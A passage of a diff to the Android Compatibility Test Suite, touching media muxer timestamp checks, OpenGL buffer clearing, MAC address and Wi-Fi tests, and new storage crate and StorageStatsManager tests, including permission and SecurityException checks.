- Log.v(TAG, "audioStartOffsetUs: " + audioStartOffsetUs);
+ Log.v(TAG, "audioStartOffsetUs:" + audioStartOffsetUs);
Log.v(TAG, "srcTrackIndex:" + extractorSrc.getSampleTrackIndex() +
" testTrackIndex:" + extractorTest.getSampleTrackIndex());
}
@@ -1272,30 +1349,24 @@
++audioSampleCount;
srcSampleTimeUs = extractorSrc.getSampleTime();
testSampleTimeUs = extractorTest.getSampleTime();
- if(VERBOSE) {
+ if (VERBOSE) {
Log.v(TAG, "audioSampleCount:" + audioSampleCount);
Log.v(TAG, "srcTSus:" + srcSampleTimeUs + " testTSus:" + testSampleTimeUs);
}
if (srcSampleTimeUs == -1 || testSampleTimeUs == -1) {
- if (VERBOSE) {
- Log.v(TAG, "srcTSus:" + srcSampleTimeUs + " testTSus:" + testSampleTimeUs);
- }
- fail("either source or test track reached end of stream");
- }
- // First audio sample would be at zero. Audio track's start offset is implemented
- // by assigning the first audio sample's duration as that of the offset. Second sample
- // would play after the offset. But video offset is achieved by edit list entry for
- // video tracks with BFrames. Need to revert the conditional check for first
- // audio sample once we implement empty edit list entry for audio.
- else if ((audioSampleCount > 1 &&
- (srcSampleTimeUs + audioStartOffsetUs) != testSampleTimeUs) ||
- (audioSampleCount == 1 && srcSampleTimeUs != testSampleTimeUs)) {
- fail("audio timestamps didn't match");
+ if (VERBOSE) {
+ Log.v(TAG, "srcTSus:" + srcSampleTimeUs + " testTSus:" + testSampleTimeUs);
}
+ fail("either source or test track reached end of stream");
+ }
+ // > 1us to ignore any round off errors.
+ else if (Math.abs(srcSampleTimeUs + audioStartOffsetUs - testSampleTimeUs) > 1) {
+ fail("audio timestamps didn't match");
+ }
testAdvance = extractorTest.advance();
srcAdvance = extractorSrc.advance();
- } while(srcAdvance && testAdvance);
+ } while (srcAdvance && testAdvance);
if (srcAdvance != testAdvance) {
fail("either audio track has not reached its last sample");
}
diff --git a/tests/tests/nativehardware/jni/AHardwareBufferGLTest.cpp b/tests/tests/nativehardware/jni/AHardwareBufferGLTest.cpp
index 9d1d3c2..afaea87 100644
--- a/tests/tests/nativehardware/jni/AHardwareBufferGLTest.cpp
+++ b/tests/tests/nativehardware/jni/AHardwareBufferGLTest.cpp
@@ -1589,6 +1589,14 @@
GL_RGBA8, GL_DEPTH_COMPONENT16, GL_STENCIL_INDEX8, GL_DEPTH24_STENCIL8
};
GLuint& fbo = mFramebuffers[mWhich];
+ GLbitfield clear_bits[] = {
+ GL_COLOR_BUFFER_BIT, GL_DEPTH_BUFFER_BIT, GL_STENCIL_BUFFER_BIT,
+ GL_DEPTH_BUFFER_BIT | GL_STENCIL_BUFFER_BIT
+ };
+
+ glClearColor(0.f, 0.f, 0.f, 0.f);
+ glClearDepthf(1.0f);
+ glClearStencil(0);
glGenFramebuffers(1, &fbo);
glBindFramebuffer(GL_FRAMEBUFFER, fbo);
for (int i = 0; i < 4; ++i) {
@@ -1615,7 +1623,8 @@
glGenRenderbuffers(1, &renderbuffer);
glBindRenderbuffer(GL_RENDERBUFFER, renderbuffer);
ASSERT_EQ(GLenum{GL_NO_ERROR}, glGetError());
- if (GetParam().stride & kGlFormat) {
+ bool isGlFormat = GetParam().stride & kGlFormat;
+ if (isGlFormat) {
glRenderbufferStorage(GL_RENDERBUFFER, GetParam().format, width, height);
} else {
glEGLImageTargetRenderbufferStorageOES(GL_RENDERBUFFER,
@@ -1623,6 +1632,8 @@
}
glFramebufferRenderbuffer(GL_FRAMEBUFFER, attachment_points[i],
GL_RENDERBUFFER, renderbuffer);
+ if (isGlFormat)
+ glClear(clear_bits[i]);
break;
}
case kRenderbuffer: {
@@ -1633,8 +1644,7 @@
glRenderbufferStorage(GL_RENDERBUFFER, default_formats[i], width, height);
glFramebufferRenderbuffer(GL_FRAMEBUFFER, attachment_points[i],
GL_RENDERBUFFER, renderbuffer);
- glClearColor(0.0f, 0.0f, 0.0f, 0.0f);
- glClear(GL_COLOR_BUFFER_BIT | GL_DEPTH_BUFFER_BIT | GL_STENCIL_BUFFER_BIT);
+ glClear(clear_bits[i]);
break;
}
default: FAIL() << "Unrecognized binding type";
diff --git a/tests/tests/net/src/android/net/cts/MacAddressTest.java b/tests/tests/net/src/android/net/cts/MacAddressTest.java
index af1e760..4d25e62 100644
--- a/tests/tests/net/src/android/net/cts/MacAddressTest.java
+++ b/tests/tests/net/src/android/net/cts/MacAddressTest.java
@@ -20,6 +20,11 @@
import static android.net.MacAddress.TYPE_MULTICAST;
import static android.net.MacAddress.TYPE_UNICAST;
+import static com.android.testutils.ParcelUtilsKt.assertParcelSane;
+
+import static org.junit.Assert.assertArrayEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
import static org.junit.Assert.fail;
import android.net.MacAddress;
@@ -30,6 +35,7 @@
import org.junit.Test;
import org.junit.runner.RunWith;
+import java.net.Inet6Address;
import java.util.Arrays;
@SmallTest
@@ -161,4 +167,57 @@
} catch (NullPointerException excepted) {
}
}
+
+ @Test
+ public void testMatches() {
+ // match 4 bytes prefix
+ assertTrue(MacAddress.fromString("aa:bb:cc:dd:ee:11").matches(
+ MacAddress.fromString("aa:bb:cc:dd:00:00"),
+ MacAddress.fromString("ff:ff:ff:ff:00:00")));
+
+ // match bytes 0,1,2 and 5
+ assertTrue(MacAddress.fromString("aa:bb:cc:dd:ee:11").matches(
+ MacAddress.fromString("aa:bb:cc:00:00:11"),
+ MacAddress.fromString("ff:ff:ff:00:00:ff")));
+
+ // match 34 bit prefix
+ assertTrue(MacAddress.fromString("aa:bb:cc:dd:ee:11").matches(
+ MacAddress.fromString("aa:bb:cc:dd:c0:00"),
+ MacAddress.fromString("ff:ff:ff:ff:c0:00")));
+
+ // fail to match 36 bit prefix
+ assertFalse(MacAddress.fromString("aa:bb:cc:dd:ee:11").matches(
+ MacAddress.fromString("aa:bb:cc:dd:40:00"),
+ MacAddress.fromString("ff:ff:ff:ff:f0:00")));
+
+ // match all 6 bytes
+ assertTrue(MacAddress.fromString("aa:bb:cc:dd:ee:11").matches(
+ MacAddress.fromString("aa:bb:cc:dd:ee:11"),
+ MacAddress.fromString("ff:ff:ff:ff:ff:ff")));
+
+ // match none of 6 bytes
+ assertTrue(MacAddress.fromString("aa:bb:cc:dd:ee:11").matches(
+ MacAddress.fromString("00:00:00:00:00:00"),
+ MacAddress.fromString("00:00:00:00:00:00")));
+ }
+
+ /**
+ * Tests that link-local address generation from MAC is valid.
+ */
+ @Test
+ public void testLinkLocalFromMacGeneration() {
+ final MacAddress mac = MacAddress.fromString("52:74:f2:b1:a8:7f");
+ final byte[] inet6ll = {(byte) 0xfe, (byte) 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x50,
+ 0x74, (byte) 0xf2, (byte) 0xff, (byte) 0xfe, (byte) 0xb1, (byte) 0xa8, 0x7f};
+ final Inet6Address llv6 = mac.getLinkLocalIpv6FromEui48Mac();
+ assertTrue(llv6.isLinkLocalAddress());
+ assertArrayEquals(inet6ll, llv6.getAddress());
+ }
+
+ @Test
+ public void testParcelMacAddress() {
+ final MacAddress mac = MacAddress.fromString("52:74:f2:b1:a8:7f");
+
+ assertParcelSane(mac, 1);
+ }
}
diff --git a/tests/tests/net/src/android/net/wifi/aware/cts/SingleDeviceTest.java b/tests/tests/net/src/android/net/wifi/aware/cts/SingleDeviceTest.java
index 1901f02..5eb3e36 100644
--- a/tests/tests/net/src/android/net/wifi/aware/cts/SingleDeviceTest.java
+++ b/tests/tests/net/src/android/net/wifi/aware/cts/SingleDeviceTest.java
@@ -16,6 +16,8 @@
package android.net.wifi.aware.cts;
+import static org.junit.Assert.assertNotEquals;
+
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
@@ -39,7 +41,6 @@
import android.net.wifi.aware.WifiAwareSession;
import android.os.Handler;
import android.os.HandlerThread;
-import android.os.SystemClock;
import android.platform.test.annotations.AppModeFull;
import android.test.AndroidTestCase;
@@ -421,6 +422,7 @@
assertEquals("Service Specific Information Length",
characteristics.getMaxServiceSpecificInfoLength(), 255);
assertEquals("Match Filter Length", characteristics.getMaxMatchFilterLength(), 255);
+ assertNotEquals("Cipher suites", characteristics.getSupportedCipherSuites(), 0);
}
/**
diff --git a/tests/tests/net/src/android/net/wifi/cts/WifiManagerTest.java b/tests/tests/net/src/android/net/wifi/cts/WifiManagerTest.java
index 3ed157a..3af58f6 100644
--- a/tests/tests/net/src/android/net/wifi/cts/WifiManagerTest.java
+++ b/tests/tests/net/src/android/net/wifi/cts/WifiManagerTest.java
@@ -52,6 +52,7 @@
import com.android.compatibility.common.util.SystemUtil;
+import java.lang.StringBuilder;
import java.net.HttpURLConnection;
import java.net.URL;
import java.security.MessageDigest;
@@ -831,6 +832,7 @@
final List<PackageInfo> holding = pm.getPackagesHoldingPermissions(new String[] {
android.Manifest.permission.NETWORK_SETTINGS
}, PackageManager.MATCH_UNINSTALLED_PACKAGES);
+ StringBuilder stringBuilder = new StringBuilder();
for (PackageInfo pi : holding) {
String packageName = pi.packageName;
@@ -845,10 +847,13 @@
continue;
}
if (!allowedUIDs.contains(uid)) {
- fail("The NETWORK_SETTINGS permission must not be held by " + packageName
- + ":" + uid + " and must be revoked for security reasons");
+ stringBuilder.append("The NETWORK_SETTINGS permission must not be held by "
+ + packageName + ":" + uid + " and must be revoked for security reasons\n");
}
}
+ if (stringBuilder.length() > 0) {
+ fail(stringBuilder.toString());
+ }
}
/**
diff --git a/tests/tests/net/src/android/net/wifi/p2p/cts/WifiP2pConfigTest.java b/tests/tests/net/src/android/net/wifi/p2p/cts/WifiP2pConfigTest.java
index 639db8a..e93d573 100644
--- a/tests/tests/net/src/android/net/wifi/p2p/cts/WifiP2pConfigTest.java
+++ b/tests/tests/net/src/android/net/wifi/p2p/cts/WifiP2pConfigTest.java
@@ -22,41 +22,41 @@
import android.test.AndroidTestCase;
public class WifiP2pConfigTest extends AndroidTestCase {
- static final String TEST_NETWORK_NAME = "DIRECT-xy-Hello";
- static final String TEST_PASSPHRASE = "8etterW0r1d";
- static final int TEST_OWNER_BAND = WifiP2pConfig.GROUP_OWNER_BAND_5GHZ;
- static final int TEST_OWNER_FREQ = 2447;
- static final String TEST_DEVICE_ADDRESS = "aa:bb:cc:dd:ee:ff";
+ private static final String TEST_NETWORK_NAME = "DIRECT-xy-Hello";
+ private static final String TEST_PASSPHRASE = "8etterW0r1d";
+ private static final int TEST_OWNER_BAND = WifiP2pConfig.GROUP_OWNER_BAND_5GHZ;
+ private static final int TEST_OWNER_FREQ = 2447;
+ private static final String TEST_DEVICE_ADDRESS = "aa:bb:cc:dd:ee:ff";
public void testWifiP2pConfigBuilderForPersist() {
- WifiP2pConfig.Builder builder = new WifiP2pConfig.Builder();
- builder.setNetworkName(TEST_NETWORK_NAME)
+ WifiP2pConfig config = new WifiP2pConfig.Builder()
+ .setNetworkName(TEST_NETWORK_NAME)
.setPassphrase(TEST_PASSPHRASE)
.setGroupOperatingBand(TEST_OWNER_BAND)
.setDeviceAddress(MacAddress.fromString(TEST_DEVICE_ADDRESS))
- .enablePersistentMode(true);
- WifiP2pConfig config = builder.build();
+ .enablePersistentMode(true)
+ .build();
- assertTrue(config.deviceAddress.equals(TEST_DEVICE_ADDRESS));
- assertTrue(config.networkName.equals(TEST_NETWORK_NAME));
- assertTrue(config.passphrase.equals(TEST_PASSPHRASE));
- assertEquals(config.groupOwnerBand, TEST_OWNER_BAND);
- assertEquals(config.netId, WifiP2pGroup.PERSISTENT_NET_ID);
+ assertEquals(config.deviceAddress, TEST_DEVICE_ADDRESS);
+ assertEquals(config.getNetworkName(), TEST_NETWORK_NAME);
+ assertEquals(config.getPassphrase(), TEST_PASSPHRASE);
+ assertEquals(config.getGroupOwnerBand(), TEST_OWNER_BAND);
+ assertEquals(config.getNetworkId(), WifiP2pGroup.PERSISTENT_NET_ID);
}
public void testWifiP2pConfigBuilderForNonPersist() {
- WifiP2pConfig.Builder builder = new WifiP2pConfig.Builder();
- builder.setNetworkName(TEST_NETWORK_NAME)
+ WifiP2pConfig config = new WifiP2pConfig.Builder()
+ .setNetworkName(TEST_NETWORK_NAME)
.setPassphrase(TEST_PASSPHRASE)
.setGroupOperatingFrequency(TEST_OWNER_FREQ)
.setDeviceAddress(MacAddress.fromString(TEST_DEVICE_ADDRESS))
- .enablePersistentMode(false);
- WifiP2pConfig config = builder.build();
+ .enablePersistentMode(false)
+ .build();
- assertTrue(config.deviceAddress.equals(TEST_DEVICE_ADDRESS));
- assertTrue(config.networkName.equals(TEST_NETWORK_NAME));
- assertTrue(config.passphrase.equals(TEST_PASSPHRASE));
- assertEquals(config.groupOwnerBand, TEST_OWNER_FREQ);
- assertEquals(config.netId, WifiP2pGroup.TEMPORARY_NET_ID);
+ assertEquals(config.deviceAddress, TEST_DEVICE_ADDRESS);
+ assertEquals(config.getNetworkName(), TEST_NETWORK_NAME);
+ assertEquals(config.getPassphrase(), TEST_PASSPHRASE);
+ assertEquals(config.getGroupOwnerBand(), TEST_OWNER_FREQ);
+ assertEquals(config.getNetworkId(), WifiP2pGroup.TEMPORARY_NET_ID);
}
}
diff --git a/tests/tests/os/src/android/os/storage/cts/CrateInfoTest.java b/tests/tests/os/src/android/os/storage/cts/CrateInfoTest.java
new file mode 100644
index 0000000..8c78d87
--- /dev/null
+++ b/tests/tests/os/src/android/os/storage/cts/CrateInfoTest.java
@@ -0,0 +1,144 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.os.storage.cts;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.content.Context;
+import android.os.Parcel;
+import android.os.Process;
+import android.os.storage.CrateInfo;
+
+import androidx.test.platform.app.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.rules.TestName;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class CrateInfoTest {
+ @Rule
+ public TestName mTestName = new TestName();
+
+ @Test
+ public void getLabel_shouldMatchTheConstructor() {
+ CrateInfo crateInfo = new CrateInfo(mTestName.getMethodName());
+
+ assertThat(crateInfo.getLabel()).isEqualTo(mTestName.getMethodName());
+ }
+
+ @Test
+ public void newCrateInfo_withNormalLabel_shouldBeSuccess() {
+ CrateInfo crateInfo = new CrateInfo(mTestName.getMethodName());
+
+ assertThat(crateInfo.getLabel()).isEqualTo(mTestName.getMethodName());
+ }
+
+ @Test
+ public void newCrateInfo_withNormalLabelAndExpiration_shouldBeSuccess() {
+ CrateInfo crateInfo = new CrateInfo(mTestName.getMethodName(), 0);
+
+ assertThat(crateInfo.getLabel()).isEqualTo(mTestName.getMethodName());
+ }
+
+ @Test
+ public void newCrateInfo_withNormalLabelAndMaxExpiration_shouldBeSuccess() {
+ CrateInfo crateInfo = new CrateInfo(mTestName.getMethodName(), Long.MAX_VALUE);
+
+ assertThat(crateInfo.getExpirationMillis()).isEqualTo(Long.MAX_VALUE);
+ }
+
+ @Test
+ public void newCrateInfo_nullLabel_throwIllegalArgumentException() {
+ IllegalArgumentException illegalArgumentException = null;
+ try {
+ new CrateInfo(null);
+ } catch (IllegalArgumentException e) {
+ illegalArgumentException = e;
+ }
+
+ assertThat(illegalArgumentException).isNotNull();
+ }
+
+ @Test
+ public void newCrateInfo_emptyString_throwIllegalArgumentException() {
+ IllegalArgumentException illegalArgumentException = null;
+ try {
+ new CrateInfo("");
+ } catch (IllegalArgumentException e) {
+ illegalArgumentException = e;
+ }
+
+ assertThat(illegalArgumentException).isNotNull();
+ }
+
+ @Test
+ public void newCrateInfo_withNegativeExpiration_throwIllegalArgumentException() {
+ IllegalArgumentException illegalArgumentException = null;
+ try {
+ new CrateInfo(mTestName.getMethodName(), -1);
+ } catch (IllegalArgumentException e) {
+ illegalArgumentException = e;
+ }
+
+ assertThat(illegalArgumentException).isNotNull();
+ }
+
+ @Test
+ public void readFromParcel_shouldMatchFromWriteToParcel() {
+ Parcel parcel = Parcel.obtain();
+ CrateInfo crateInfo = new CrateInfo(mTestName.getMethodName(), Long.MAX_VALUE);
+ crateInfo.writeToParcel(parcel, 0);
+ parcel.setDataPosition(0);
+
+ CrateInfo readFromCrateInfo = CrateInfo.CREATOR.createFromParcel(parcel);
+ parcel.recycle();
+
+ assertThat(readFromCrateInfo.getLabel()).isEqualTo(mTestName.getMethodName());
+ assertThat(readFromCrateInfo.getExpirationMillis()).isEqualTo(Long.MAX_VALUE);
+ }
+
+ @Test
+ public void copyFrom_validatedCrate_shouldReturnNonNull() {
+ Context context = InstrumentationRegistry.getInstrumentation().getTargetContext();
+
+ CrateInfo crateInfo = CrateInfo.copyFrom(Process.myUid(), context.getOpPackageName(),
+ mTestName.getMethodName());
+
+ assertThat(crateInfo).isNotNull();
+ }
+
+ @Test
+ public void copyFrom_invalidCrate_shouldReturnNull() {
+ Context context = InstrumentationRegistry.getInstrumentation().getTargetContext();
+
+ CrateInfo crateInfo = CrateInfo.copyFrom(Process.myUid(), context.getOpPackageName(),
+ null);
+
+ assertThat(crateInfo).isNull();
+ }
+
+ @Test
+ public void copyFrom_invalidPackageName_shouldReturnNull() {
+ CrateInfo crateInfo = CrateInfo.copyFrom(Process.myUid(), null,
+ mTestName.getMethodName());
+
+ assertThat(crateInfo).isNull();
+ }
+}
diff --git a/tests/tests/os/src/android/os/storage/cts/OWNERS b/tests/tests/os/src/android/os/storage/cts/OWNERS
new file mode 100644
index 0000000..948bcad
--- /dev/null
+++ b/tests/tests/os/src/android/os/storage/cts/OWNERS
@@ -0,0 +1,5 @@
+# Bug component: 141660526
+per-file CrateInfoTest.java = felkachang@google.com
+per-file StorageCrateTest.java = felkachang@google.com
+per-file StorageStatsManagerTest.java = felkachang@google.com
+
diff --git a/tests/tests/os/src/android/os/storage/cts/StorageStatsManagerTest.java b/tests/tests/os/src/android/os/storage/cts/StorageStatsManagerTest.java
new file mode 100644
index 0000000..9643aef
--- /dev/null
+++ b/tests/tests/os/src/android/os/storage/cts/StorageStatsManagerTest.java
@@ -0,0 +1,409 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.os.storage.cts;
+
+import static android.os.UserHandle.MIN_SECONDARY_USER_ID;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.Manifest;
+import android.app.UiAutomation;
+import android.app.usage.StorageStatsManager;
+import android.content.Context;
+import android.content.pm.PackageManager;
+import android.os.Process;
+import android.os.UserHandle;
+import android.os.storage.CrateInfo;
+import android.os.storage.StorageManager;
+import android.text.TextUtils;
+
+import androidx.test.platform.app.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
+import com.google.common.truth.Correspondence;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.rules.TestName;
+import org.junit.runner.RunWith;
+
+import java.io.IOException;
+import java.nio.file.FileVisitResult;
+import java.nio.file.Files;
+import java.nio.file.Path;
+import java.nio.file.SimpleFileVisitor;
+import java.nio.file.attribute.BasicFileAttributes;
+import java.util.Collection;
+import java.util.UUID;
+
+@RunWith(AndroidJUnit4.class)
+public class StorageStatsManagerTest {
+ private static final String CRATES_ROOT = "crates";
+
+ private Context mContext;
+ private StorageManager mStorageManager;
+ private StorageStatsManager mStorageStatsManager;
+
+ @Rule
+ public TestName mTestName = new TestName();
+ private Path mCratesPath;
+ private Path mCrateDirPath;
+ private UUID mUuid;
+ private String mCrateId;
+
+ private void cleanAllOfCrates() throws IOException {
+ if (!mCratesPath.toFile().exists()) {
+ return;
+ }
+
+ Files.walkFileTree(mCratesPath, new SimpleFileVisitor<Path>() {
+ @Override
+ public FileVisitResult visitFile(Path file, BasicFileAttributes attrs)
+ throws IOException {
+ Files.deleteIfExists(file);
+ return super.visitFile(file, attrs);
+ }
+
+ @Override
+ public FileVisitResult postVisitDirectory(Path dir, IOException exc)
+ throws IOException {
+ Files.deleteIfExists(dir);
+ return super.postVisitDirectory(dir, exc);
+ }
+ });
+ Files.deleteIfExists(mCratesPath);
+ }
+
+ /**
+ * Setup the necessary member field used by test methods.
+ */
+ @Before
+ public void setUp() throws Exception {
+ mContext = InstrumentationRegistry.getInstrumentation().getTargetContext();
+ mStorageManager = (StorageManager) mContext.getSystemService(Context.STORAGE_SERVICE);
+ mStorageStatsManager =
+ (StorageStatsManager) mContext.getSystemService(Context.STORAGE_STATS_SERVICE);
+
+ mCratesPath = mContext.getDataDir().toPath().resolve(CRATES_ROOT);
+ cleanAllOfCrates();
+
+ mCrateId = mTestName.getMethodName();
+
+ mCrateDirPath = mCratesPath.resolve(mCrateId);
+ mUuid = mStorageManager.getUuidForPath(mCratesPath.toFile());
+ }
+
+ /**
+ * To clean all of crated folders to prevent from flaky.
+ * @throws Exception happened when the tearDown tries to removed all of folders and files.
+ */
+ @After
+ public void tearDown() throws Exception {
+ cleanAllOfCrates();
+ }
+
+ @Test
+ public void queryCratesForUid_noCratedFolder_shouldBeEmpty() throws Exception {
+ Collection<CrateInfo> collection = mStorageStatsManager.queryCratesForUid(mUuid,
+ Process.myUid());
+
+ assertThat(collection.size()).isEqualTo(0);
+ }
+
+ private Collection<CrateInfo> queryCratesForUser(boolean byShell, UUID uuid,
+ UserHandle userHandle)
+ throws PackageManager.NameNotFoundException, IOException {
+ final UiAutomation uiAutomation = InstrumentationRegistry.getInstrumentation()
+ .getUiAutomation();
+ if (byShell) {
+ uiAutomation.adoptShellPermissionIdentity(Manifest.permission.MANAGE_CRATES);
+ }
+ Collection<CrateInfo> crateInfos = mStorageStatsManager.queryCratesForUser(uuid,
+ userHandle);
+ if (byShell) {
+ uiAutomation.dropShellPermissionIdentity();
+ }
+ return crateInfos;
+ }
+ @Test
+ public void queryCratesForUser_noCratedFolder_shouldBeEmpty() throws Exception {
+ Collection<CrateInfo> collection = queryCratesForUser(true, mUuid,
+ Process.myUserHandle());
+
+ assertThat(collection.size()).isEqualTo(0);
+ }
+
+ @Test
+ public void queryCratesForPackage_noCratedFolder_shouldBeEmpty() throws Exception {
+ Collection<CrateInfo> collection = mStorageStatsManager.queryCratesForPackage(mUuid,
+ mContext.getOpPackageName(), Process.myUserHandle());
+
+ assertThat(collection.size()).isEqualTo(0);
+ }
+
+ @Test
+ public void queryCratesForUid_withOtherUid_shouldRiseSecurityIssueException() throws Exception {
+ int fakeUid = UserHandle.getUid(MIN_SECONDARY_USER_ID,
+ UserHandle.getAppId(Process.myUid()));
+ SecurityException securityException = null;
+
+ try {
+ mStorageStatsManager.queryCratesForUid(mUuid, fakeUid);
+ } catch (SecurityException e) {
+ securityException = e;
+ }
+
+ assertThat(securityException).isNotNull();
+ }
+
+ @Test
+ public void queryCratesForUser_withOtherUid_shouldRiseSecurityIssueException()
+ throws Exception {
+ UserHandle fakeUserHandle = UserHandle.of(MIN_SECONDARY_USER_ID);
+ SecurityException securityException = null;
+
+ try {
+ mStorageStatsManager.queryCratesForUser(mUuid, fakeUserHandle);
+ } catch (SecurityException e) {
+ securityException = e;
+ }
+
+ assertThat(securityException).isNotNull();
+ }
+
+ @Test
+ public void queryCratesForPackage_withOtherUid_shouldRiseSecurityIssueException()
+ throws Exception {
+ UserHandle fakeUserHandle = UserHandle.of(MIN_SECONDARY_USER_ID);
+ SecurityException securityException = null;
+
+ try {
+ mStorageStatsManager.queryCratesForPackage(mUuid,
+ mContext.getOpPackageName(), fakeUserHandle);
+ } catch (SecurityException e) {
+ securityException = e;
+ }
+
+ assertThat(securityException).isNotNull();
+ }
+
+ @Test
+ public void queryCratesForUid_addOneDirectory_shouldIncreasingOneCrate()
+ throws Exception {
+ Collection<CrateInfo> originalCollection = mStorageStatsManager.queryCratesForUid(
+ mUuid, Process.myUid());
+
+ mContext.getCrateDir(mCrateId);
+
+ Collection<CrateInfo> newCollection = mStorageStatsManager.queryCratesForUid(
+ mUuid, Process.myUid());
+ assertThat(newCollection.size()).isEqualTo(originalCollection.size() + 1);
+ }
+
+ @Test
+ public void queryCratesForUser_addOneDirectory_shouldIncreasingOneCrate()
+ throws Exception {
+ Collection<CrateInfo> originalCollection = queryCratesForUser(true, mUuid,
+ Process.myUserHandle());
+
+ mContext.getCrateDir(mCrateId);
+
+ Collection<CrateInfo> newCollection = queryCratesForUser(true,
+ mUuid, Process.myUserHandle());
+ assertThat(newCollection.size()).isEqualTo(originalCollection.size() + 1);
+ }
+
+ @Test
+ public void queryCratesForPackage_addOneDirectory_shouldIncreasingOneCrate()
+ throws Exception {
+ Collection<CrateInfo> originalCollection = mStorageStatsManager.queryCratesForPackage(
+ mUuid, mContext.getOpPackageName(), Process.myUserHandle());
+
+ mContext.getCrateDir(mCrateId);
+
+ Collection<CrateInfo> newCollection = mStorageStatsManager.queryCratesForPackage(
+ mUuid, mContext.getOpPackageName(), Process.myUserHandle());
+ assertThat(newCollection.size()).isEqualTo(originalCollection.size() + 1);
+ }
+
+ @Test
+ public void queryCratesForUid_withoutSetCrateInfo_labelShouldTheSameWithFolderName()
+ throws Exception {
+ mContext.getCrateDir(mCrateId);
+
+ Collection<CrateInfo> crateInfos = mStorageStatsManager.queryCratesForUid(
+ mUuid, Process.myUid());
+
+ assertThat(crateInfos.iterator().next().getLabel()).isEqualTo(mTestName.getMethodName());
+ }
+
+ @Test
+ public void queryCratesForUser_withoutSetCrateInfo_labelShouldTheSameWithFolderName()
+ throws Exception {
+ mContext.getCrateDir(mCrateId);
+
+ Collection<CrateInfo> crateInfos = queryCratesForUser(true, mUuid,
+ Process.myUserHandle());
+
+ assertThat(crateInfos.iterator().next().getLabel()).isEqualTo(mTestName.getMethodName());
+ }
+
+ @Test
+ public void queryCratesForPackage_withoutSetCrateInfo_labelShouldTheSameWithFolderName()
+ throws Exception {
+ mContext.getCrateDir(mCrateId);
+
+ Collection<CrateInfo> crateInfos = mStorageStatsManager.queryCratesForPackage(
+ mUuid, mContext.getOpPackageName(), Process.myUserHandle());
+
+ assertThat(crateInfos.iterator().next().getLabel()).isEqualTo(mTestName.getMethodName());
+ }
+
+ @Test
+ public void queryCratesForUid_withoutSetCrateInfo_expirationShouldBeZero()
+ throws Exception {
+ mContext.getCrateDir(mCrateId);
+
+ Collection<CrateInfo> crateInfos = mStorageStatsManager.queryCratesForUid(
+ mUuid, Process.myUid());
+
+ assertThat(crateInfos.iterator().next().getExpirationMillis()).isEqualTo(0);
+ }
+
+ @Test
+ public void queryCratesForUser_withoutSetCrateInfo_expirationShouldBeZero()
+ throws Exception {
+ mContext.getCrateDir(mCrateId);
+
+ Collection<CrateInfo> crateInfos = queryCratesForUser(true, mUuid,
+ Process.myUserHandle());
+
+ assertThat(crateInfos.iterator().next().getExpirationMillis()).isEqualTo(0);
+ }
+
+ @Test
+ public void queryCratesForPackage_withoutSetCrateInfo_expirationShouldBeZero()
+ throws Exception {
+ mContext.getCrateDir(mCrateId);
+
+ Collection<CrateInfo> crateInfos = mStorageStatsManager.queryCratesForPackage(
+ mUuid, mContext.getOpPackageName(), Process.myUserHandle());
+
+ assertThat(crateInfos.iterator().next().getExpirationMillis()).isEqualTo(0);
+ }
+
+ @Test
+ public void queryCratesForUid_removeCratedDir_shouldDecreaseTheNumberOfCrates()
+ throws Exception {
+ for (int i = 0; i < 3; i++) {
+ mContext.getCrateDir(mCrateId + "_" + i);
+ }
+ Collection<CrateInfo> oldCollection = mStorageStatsManager.queryCratesForUid(mUuid,
+ Process.myUid());
+
+ Files.deleteIfExists(mContext.getCrateDir(mCrateId + "_" + 1).toPath());
+
+ Collection<CrateInfo> newCollection = mStorageStatsManager.queryCratesForUid(
+ mUuid, Process.myUid());
+ assertThat(newCollection.size()).isEqualTo(oldCollection.size() - 1);
+ }
+
+ @Test
+ public void queryCratesForPackage_removeCratedDir_shouldDecreaseTheNumberOfCrates()
+ throws Exception {
+ for (int i = 0; i < 3; i++) {
+ mContext.getCrateDir(mCrateId + "_" + i);
+ }
+ Collection<CrateInfo> oldCollection = mStorageStatsManager.queryCratesForPackage(mUuid,
+ mContext.getOpPackageName(), Process.myUserHandle());
+
+ Files.deleteIfExists(mContext.getCrateDir(mCrateId + "_" + 1).toPath());
+
+ Collection<CrateInfo> newCollection = mStorageStatsManager.queryCratesForPackage(mUuid,
+ mContext.getOpPackageName(), Process.myUserHandle());
+ assertThat(newCollection.size()).isEqualTo(oldCollection.size() - 1);
+ }
+
+ @Test
+ public void queryCratesForUser_removeCratedDir_shouldDecreaseTheNumberOfCrates()
+ throws Exception {
+ for (int i = 0; i < 3; i++) {
+ mContext.getCrateDir(mCrateId + "_" + i);
+ }
+ Collection<CrateInfo> oldCollection = queryCratesForUser(true, mUuid,
+ Process.myUserHandle());
+
+ Files.deleteIfExists(mContext.getCrateDir(mCrateId + "_" + 1).toPath());
+
+ Collection<CrateInfo> newCollection = queryCratesForUser(true, mUuid,
+ Process.myUserHandle());
